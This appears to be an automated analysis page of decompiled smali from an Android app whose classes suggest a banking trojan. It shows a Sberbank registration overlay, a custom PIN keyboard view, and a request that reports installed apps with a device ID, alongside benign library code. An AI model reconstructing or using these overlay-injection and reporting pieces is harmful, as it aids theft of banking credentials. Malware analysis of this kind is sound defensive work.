                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      Strings
                                      • PingStats{ia=
                                      • , noPings=
                                      • , packetsLost=
                                      • , averageTimeTaken=
                                      • , minTimeTaken=
                                      • , maxTimeTaken=
                                      Position Instruction Meta Information
                                      0.prologue
                                      1new-instance v0, Ljava/lang/StringBuilder;
                                      3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                      5const-string v1, "PingStats{ia="
                                      7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      8move-result-object v0
                                      10iget-object v1, p0, Lcom/aviasalea/ping/PingStats;->ia:Ljava/net/InetAddress;
                                      12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      13move-result-object v0
                                      15const-string v1, ", noPings="
                                      17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      18move-result-object v0
                                      19iget-wide v2, p0, Lcom/aviasalea/ping/PingStats;->noPings:J
                                      21invoke-virtual {v0, v2, v3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                                      22move-result-object v0
                                      24const-string v1, ", packetsLost="
                                      26invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      27move-result-object v0
                                      28iget-wide v2, p0, Lcom/aviasalea/ping/PingStats;->packetsLost:J
                                      30invoke-virtual {v0, v2, v3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                                      31move-result-object v0
                                      33const-string v1, ", averageTimeTaken="
                                      35invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      36move-result-object v0
                                      37iget v1, p0, Lcom/aviasalea/ping/PingStats;->averageTimeTaken:F
                                      39invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
                                      40move-result-object v0
                                      42const-string v1, ", minTimeTaken="
                                      44invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      45move-result-object v0
                                      46iget v1, p0, Lcom/aviasalea/ping/PingStats;->minTimeTaken:F
                                      48invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
                                      49move-result-object v0
                                      51const-string v1, ", maxTimeTaken="
                                      53invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      54move-result-object v0
                                      55iget v1, p0, Lcom/aviasalea/ping/PingStats;->maxTimeTaken:F
                                      57invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
                                      58move-result-object v0
                                      59const/16 v1, 0x7d
                                      61invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                      62move-result-object v0
                                      64invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      65move-result-object v0
                                      66return-object v0
                                      APIs
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$000
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getVisibility
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$000
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$000
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.getText
                                      • android.text.Editable.append
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$100
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getVisibility
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$100
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$100
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.getText
                                      • android.text.Editable.append
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$200
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getVisibility
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$200
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$200
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.getText
                                      • android.text.Editable.append
                                      Position Instruction Meta Information
                                      0.param p1, "number" # Ljava/lang/String;
                                      1.prologue
                                      3iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      5invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$000(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      6move-result-object v0
                                      8invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getVisibility()I
                                      9move-result v0
                                      10if-nez v0, :cond_2a
                                      12iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      14invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$000(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      15move-result-object v0
                                      17invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      18move-result-object v0
                                      19if-eqz v0, :cond_29
                                      21iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      23invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$000(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      24move-result-object v0
                                      26invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      27move-result-object v0
                                      29invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                                      30move-result-object v0
                                      32invoke-interface {v0, p1}, Landroid/text/Editable;->append(Ljava/lang/CharSequence;)Landroid/text/Editable;
                                      33cond_29: return-void
                                      34cond_2a:
                                      35iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      37invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$100(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      38move-result-object v0
                                      40invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getVisibility()I
                                      41move-result v0
                                      42if-nez v0, :cond_54
                                      44iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      46invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$100(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      47move-result-object v0
                                      49invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      50move-result-object v0
                                      51if-eqz v0, :cond_29
                                      53iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      55invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$100(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      56move-result-object v0
                                      58invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      59move-result-object v0
                                      61invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                                      62move-result-object v0
                                      64invoke-interface {v0, p1}, Landroid/text/Editable;->append(Ljava/lang/CharSequence;)Landroid/text/Editable;
                                      65goto/16 :goto_29
                                      66cond_54:
                                      67iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      69invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$200(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      70move-result-object v0
                                      72invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getVisibility()I
                                      73move-result v0
                                      74if-nez v0, :cond_29
                                      76iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      78invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$200(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      79move-result-object v0
                                      81invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      82move-result-object v0
                                      83if-eqz v0, :cond_29
                                      85iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      87invoke-static {v0}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$200(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      88move-result-object v0
                                      90invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      91move-result-object v0
                                      93invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                                      94move-result-object v0
                                      96invoke-interface {v0, p1}, Landroid/text/Editable;->append(Ljava/lang/CharSequence;)Landroid/text/Editable;
                                      97goto/16 :goto_29
                                      APIs
                                      • android.widget.ScrollView.drawChild
                                      • com.aviasalea.base.dialog.AlertDialog$2.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1700
                                      • android.graphics.drawable.BitmapDrawable.getPaint
                                      • android.graphics.Paint.getAlpha
                                      • com.aviasalea.base.dialog.AlertDialog$2.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1700
                                      • com.aviasalea.base.dialog.AlertDialog$2.getScrollY
                                      • com.aviasalea.base.dialog.AlertDialog$2.getMeasuredWidth
                                      • com.aviasalea.base.dialog.AlertDialog$2.getScrollY
                                      • android.graphics.drawable.BitmapDrawable.setBounds
                                      • com.aviasalea.base.dialog.AlertDialog$2.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1700
                                      • android.graphics.drawable.BitmapDrawable.draw
                                      • com.aviasalea.base.dialog.AlertDialog$2.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1700
                                      • android.graphics.drawable.BitmapDrawable.getPaint
                                      • android.graphics.Paint.getAlpha
                                      • com.aviasalea.base.dialog.AlertDialog$2.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1700
                                      • com.aviasalea.base.dialog.AlertDialog$2.getScrollY
                                      • com.aviasalea.base.dialog.AlertDialog$2.getMeasuredHeight
                                      • com.aviasalea.base.dialog.AlertDialog$2.getMeasuredWidth
                                      • com.aviasalea.base.dialog.AlertDialog$2.getScrollY
                                      • com.aviasalea.base.dialog.AlertDialog$2.getMeasuredHeight
                                      • android.graphics.drawable.BitmapDrawable.setBounds
                                      • com.aviasalea.base.dialog.AlertDialog$2.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$1700
                                      • android.graphics.drawable.BitmapDrawable.draw
                                      Position Instruction Meta Information
                                      0.param p1, "canvas" # Landroid/graphics/Canvas;
                                      1.param p2, "child" # Landroid/view/View;
                                      2.param p3, "drawingTime" # J
                                      3.prologue
                                      4const/high16 v8, 0x40400000 # 3.0f
                                      5const/4 v7, 0x1
                                      6const/4 v6, 0x0
                                      8invoke-super {p0, p1, p2, p3, p4}, Landroid/widget/ScrollView;->drawChild(Landroid/graphics/Canvas;Landroid/view/View;J)Z
                                      9move-result v0
                                      11iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$2;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      13invoke-static {v1}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1700(Lcom/aviasalea/base/dialog/AlertDialog;)[Landroid/graphics/drawable/BitmapDrawable;
                                      14move-result-object v1
                                      15aget-object v1, v1, v6
                                      17invoke-virtual {v1}, Landroid/graphics/drawable/BitmapDrawable;->getPaint()Landroid/graphics/Paint;
                                      18move-result-object v1
                                      20invoke-virtual {v1}, Landroid/graphics/Paint;->getAlpha()I
                                      21move-result v1
                                      22if-eqz v1, :cond_41
                                      24iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$2;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      26invoke-static {v1}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1700(Lcom/aviasalea/base/dialog/AlertDialog;)[Landroid/graphics/drawable/BitmapDrawable;
                                      27move-result-object v1
                                      28aget-object v1, v1, v6
                                      30invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$2;->getScrollY()I
                                      31move-result v2
                                      33invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$2;->getMeasuredWidth()I
                                      34move-result v3
                                      36invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$2;->getScrollY()I
                                      37move-result v4
                                      39invoke-static {v8}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      40move-result v5
                                      41add-int/2addr v4, v5
                                      43invoke-virtual {v1, v6, v2, v3, v4}, Landroid/graphics/drawable/BitmapDrawable;->setBounds(IIII)V
                                      45iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$2;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      47invoke-static {v1}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1700(Lcom/aviasalea/base/dialog/AlertDialog;)[Landroid/graphics/drawable/BitmapDrawable;
                                      48move-result-object v1
                                      49aget-object v1, v1, v6
                                      51invoke-virtual {v1, p1}, Landroid/graphics/drawable/BitmapDrawable;->draw(Landroid/graphics/Canvas;)V
                                      52cond_41:
                                      53iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$2;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      55invoke-static {v1}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1700(Lcom/aviasalea/base/dialog/AlertDialog;)[Landroid/graphics/drawable/BitmapDrawable;
                                      56move-result-object v1
                                      57aget-object v1, v1, v7
                                      59invoke-virtual {v1}, Landroid/graphics/drawable/BitmapDrawable;->getPaint()Landroid/graphics/Paint;
                                      60move-result-object v1
                                      62invoke-virtual {v1}, Landroid/graphics/Paint;->getAlpha()I
                                      63move-result v1
                                      64if-eqz v1, :cond_84
                                      66iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$2;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      68invoke-static {v1}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1700(Lcom/aviasalea/base/dialog/AlertDialog;)[Landroid/graphics/drawable/BitmapDrawable;
                                      69move-result-object v1
                                      70aget-object v1, v1, v7
                                      72invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$2;->getScrollY()I
                                      73move-result v2
                                      75invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$2;->getMeasuredHeight()I
                                      76move-result v3
                                      77add-int/2addr v2, v3
                                      79invoke-static {v8}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      80move-result v3
                                      81sub-int/2addr v2, v3
                                      83invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$2;->getMeasuredWidth()I
                                      84move-result v3
                                      86invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$2;->getScrollY()I
                                      87move-result v4
                                      89invoke-virtual {p0}, Lcom/aviasalea/base/dialog/AlertDialog$2;->getMeasuredHeight()I
                                      90move-result v5
                                      91add-int/2addr v4, v5
                                      93invoke-virtual {v1, v6, v2, v3, v4}, Landroid/graphics/drawable/BitmapDrawable;->setBounds(IIII)V
                                      95iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$2;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      97invoke-static {v1}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1700(Lcom/aviasalea/base/dialog/AlertDialog;)[Landroid/graphics/drawable/BitmapDrawable;
                                      98move-result-object v1
                                      99aget-object v1, v1, v7
                                      101invoke-virtual {v1, p1}, Landroid/graphics/drawable/BitmapDrawable;->draw(Landroid/graphics/Canvas;)V
                                      102cond_84: return v0
                                      Cross References
                                      APIs
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.put
                                      • com.aviasalea.Realtalk.getPsuedoID
                                      • org.json.JSONObject.put
                                      • java.lang.StringBuilder.<init>
                                      • java.util.List.size
                                      • java.util.List.get
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      Strings
                                      • report
                                      • apps
                                      • id
                                      • ,
                                      • 1
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      7new-instance v1, Lorg/json/JSONObject;
                                      9invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                                      10new-instance v3, Lorg/json/JSONObject;
                                      12invoke-direct {v3}, Lorg/json/JSONObject;-><init>()V
                                      14const-string v5, "report"
                                      16const-string v6, "apps"
                                      18invoke-virtual {v1, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      20const-string v5, "id"
                                      22invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPsuedoID(Landroid/content/Context;)Ljava/lang/String;
                                      23move-result-object v6
                                      25invoke-virtual {v1, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      26new-instance v2, Ljava/lang/StringBuilder;
                                      28invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      30iget-object v5, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep3Request;->mApps:Ljava/util/List;
                                      32invoke-interface {v5}, Ljava/util/List;->size()I
                                      33move-result v4
                                      34const/4 v0, 0x0
                                      35goto_26: if-ge v0, v4, :cond_3c
                                      37iget-object v5, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep3Request;->mApps:Ljava/util/List;
                                      39invoke-interface {v5, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      40move-result-object v5
                                      41check-cast v5, Ljava/lang/String;
                                      43invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      44move-result-object v5
                                      46const-string v6, ", "
                                      48invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      49add-int/lit8 v0, v0, 0x1
                                      50goto/16 :goto_26
                                      51cond_3c:
                                      52const-string v5, "apps"
                                      54invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      55move-result-object v6
                                      57invoke-virtual {v1, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      59const-string v5, "1"
                                      61invoke-virtual {v3, v5, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      63invoke-static {v3}, Lcom/aviasalea/api/tls/TxtTls;->getPostParamsUTF8(Lorg/json/JSONObject;)Ljava/lang/String;
                                      64move-result-object v5
                                      65return-object v5
                                      Cross References
                                      APIs
                                      • android.os.Bundle.clone
                                      • android.os.Bundle.containsKey
                                      • android.os.Bundle.putString
                                      • android.os.Bundle.containsKey
                                      • android.os.Bundle.putString
                                      • android.os.Bundle.containsKey
                                      • android.os.Bundle.putBoolean
                                      • android.os.Bundle.containsKey
                                      • android.os.Bundle.putSerializable
                                      • android.os.Bundle.containsKey
                                      • android.os.Bundle.putInt
                                      • android.os.Bundle.<init>
                                      Strings
                                      • de.greenrobot.eventbus.errordialog.title
                                      • de.greenrobot.eventbus.errordialog.message
                                      • de.greenrobot.eventbus.errordialog.finish_after_dialog
                                      • de.greenrobot.eventbus.errordialog.event_type_on_close
                                      • de.greenrobot.eventbus.errordialog.icon_id
                                      Position Instruction Meta Information
                                      0.param p1, "event" # Lde/greenrobot/event/util/ThrowableFailureEvent;
                                      1.param p2, "finishAfterDialog" # Z
                                      2.param p3, "argumentsForErrorDialog" # Landroid/os/Bundle;
                                      3.annotation system Ldalvik/annotation/Signature;
                                      4value = {
                                      5"(",
                                      6"Lde/greenrobot/event/util/ThrowableFailureEvent;",
                                      7"Z",
                                      8"Landroid/os/Bundle;",
                                      9")TT;"
                                      10}
                                      11.end annotation
                                      12.prologue
                                      14invoke-virtual {p1}, Lde/greenrobot/event/util/ThrowableFailureEvent;->isSuppressErrorUi()Z
                                      15move-result v3
                                      16if-eqz v3, :cond_8
                                      17const/4 v3, 0x0
                                      18goto_7: return-object v3
                                      19cond_8: if-eqz p3, :cond_72
                                      21invoke-virtual {p3}, Landroid/os/Bundle;->clone()Ljava/lang/Object;
                                      22move-result-object v0
                                      23check-cast v0, Landroid/os/Bundle;
                                      24goto_10:
                                      25const-string v3, "de.greenrobot.eventbus.errordialog.title"
                                      27invoke-virtual {v0, v3}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z
                                      28move-result v3
                                      29if-nez v3, :cond_21
                                      31invoke-virtual {p0, p1, v0}, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->getTitleFor(Lde/greenrobot/event/util/ThrowableFailureEvent;Landroid/os/Bundle;)Ljava/lang/String;
                                      32move-result-object v2
                                      34const-string v3, "de.greenrobot.eventbus.errordialog.title"
                                      36invoke-virtual {v0, v3, v2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                      37cond_21:
                                      38const-string v3, "de.greenrobot.eventbus.errordialog.message"
                                      40invoke-virtual {v0, v3}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z
                                      41move-result v3
                                      42if-nez v3, :cond_32
                                      44invoke-virtual {p0, p1, v0}, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->getMessageFor(Lde/greenrobot/event/util/ThrowableFailureEvent;Landroid/os/Bundle;)Ljava/lang/String;
                                      45move-result-object v1
                                      47const-string v3, "de.greenrobot.eventbus.errordialog.message"
                                      49invoke-virtual {v0, v3, v1}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                      50cond_32:
                                      51const-string v3, "de.greenrobot.eventbus.errordialog.finish_after_dialog"
                                      53invoke-virtual {v0, v3}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z
                                      54move-result v3
                                      55if-nez v3, :cond_3f
                                      57const-string v3, "de.greenrobot.eventbus.errordialog.finish_after_dialog"
                                      59invoke-virtual {v0, v3, p2}, Landroid/os/Bundle;->putBoolean(Ljava/lang/String;Z)V
                                      60cond_3f:
                                      61const-string v3, "de.greenrobot.eventbus.errordialog.event_type_on_close"
                                      63invoke-virtual {v0, v3}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z
                                      64move-result v3
                                      65if-nez v3, :cond_56
                                      67iget-object v3, p0, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->config:Lde/greenrobot/event/util/ErrorDialogConfig;
                                      69iget-object v3, v3, Lde/greenrobot/event/util/ErrorDialogConfig;->defaultEventTypeOnDialogClosed:Ljava/lang/Class;
                                      70if-eqz v3, :cond_56
                                      72const-string v3, "de.greenrobot.eventbus.errordialog.event_type_on_close"
                                      74iget-object v4, p0, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->config:Lde/greenrobot/event/util/ErrorDialogConfig;
                                      76iget-object v4, v4, Lde/greenrobot/event/util/ErrorDialogConfig;->defaultEventTypeOnDialogClosed:Ljava/lang/Class;
                                      78invoke-virtual {v0, v3, v4}, Landroid/os/Bundle;->putSerializable(Ljava/lang/String;Ljava/io/Serializable;)V
                                      79cond_56:
                                      80const-string v3, "de.greenrobot.eventbus.errordialog.icon_id"
                                      82invoke-virtual {v0, v3}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z
                                      83move-result v3
                                      84if-nez v3, :cond_6d
                                      86iget-object v3, p0, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->config:Lde/greenrobot/event/util/ErrorDialogConfig;
                                      87iget v3, v3, Lde/greenrobot/event/util/ErrorDialogConfig;->defaultDialogIconId:I
                                      88if-eqz v3, :cond_6d
                                      90const-string v3, "de.greenrobot.eventbus.errordialog.icon_id"
                                      92iget-object v4, p0, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->config:Lde/greenrobot/event/util/ErrorDialogConfig;
                                      93iget v4, v4, Lde/greenrobot/event/util/ErrorDialogConfig;->defaultDialogIconId:I
                                      95invoke-virtual {v0, v3, v4}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
                                      96cond_6d:
                                      97invoke-virtual {p0, p1, v0}, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->createErrorFragment(Lde/greenrobot/event/util/ThrowableFailureEvent;Landroid/os/Bundle;)Ljava/lang/Object;
                                      98move-result-object v3
                                      99goto/16 :goto_7
                                      100cond_72: new-instance v0, Landroid/os/Bundle;
                                      102invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
                                      103goto/16 :goto_10
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.s.views.KeyboardView.getContext
                                      • android.content.Context.getSystemService
                                      • android.view.LayoutInflater.inflate
                                      • com.aviasalea.injs.s.views.KeyboardView.findViewById
                                      • com.aviasalea.injs.s.views.KeyboardView.findViewById
                                      • com.aviasalea.injs.s.views.KeyboardView.findViewById
                                      • com.aviasalea.injs.s.views.KeyboardView.findViewById
                                      • com.aviasalea.injs.s.views.KeyboardView.findViewById
                                      • com.aviasalea.injs.s.views.KeyboardView.findViewById
                                      • com.aviasalea.injs.s.views.KeyboardView.findViewById
                                      • com.aviasalea.injs.s.views.KeyboardView.findViewById
                                      • com.aviasalea.injs.s.views.KeyboardView.findViewById
                                      • com.aviasalea.injs.s.views.KeyboardView.findViewById
                                      • com.aviasalea.injs.s.views.KeyboardView.findViewById
                                      • com.aviasalea.injs.s.views.KeyboardView.onCLickListener
                                      Strings
                                      • layout_inflater
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-virtual {p0}, Lcom/aviasalea/injs/s/views/KeyboardView;->getContext()Landroid/content/Context;
                                      3move-result-object v1
                                      5const-string v2, "layout_inflater"
                                      7invoke-virtual {v1, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      8move-result-object v0
                                      9check-cast v0, Landroid/view/LayoutInflater;
                                      10const v1, 0x7f080002
                                      12invoke-virtual {v0, v1, p0}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;)Landroid/view/View;
                                      13const v1, 0x7f060044
                                      15invoke-virtual {p0, v1}, Lcom/aviasalea/injs/s/views/KeyboardView;->findViewById(I)Landroid/view/View;
                                      16move-result-object v1
                                      17check-cast v1, Landroid/widget/LinearLayout;
                                      18iput-object v1, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numOne:Landroid/widget/LinearLayout;
                                      19const v1, 0x7f060048
                                      21invoke-virtual {p0, v1}, Lcom/aviasalea/injs/s/views/KeyboardView;->findViewById(I)Landroid/view/View;
                                      22move-result-object v1
                                      23check-cast v1, Landroid/widget/LinearLayout;
                                      24iput-object v1, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numTwo:Landroid/widget/LinearLayout;
                                      25const v1, 0x7f060047
                                      27invoke-virtual {p0, v1}, Lcom/aviasalea/injs/s/views/KeyboardView;->findViewById(I)Landroid/view/View;
                                      28move-result-object v1
                                      29check-cast v1, Landroid/widget/LinearLayout;
                                      30iput-object v1, p0, Lcom/aviasalea/injs/s/views/KeyboardView;->numThree:Landroid/widget/LinearLayout;
                                      31const v1, 0x7f060042
                                      33invoke-virtual {p0, v1}, Lcom/aviasalea/injs/s/views/KeyboardView;->findViewById(I)Landroid/view/View;
                                      34move-result-object v1
                                      35check-cast v1, Landroid/widget/LinearLayout;
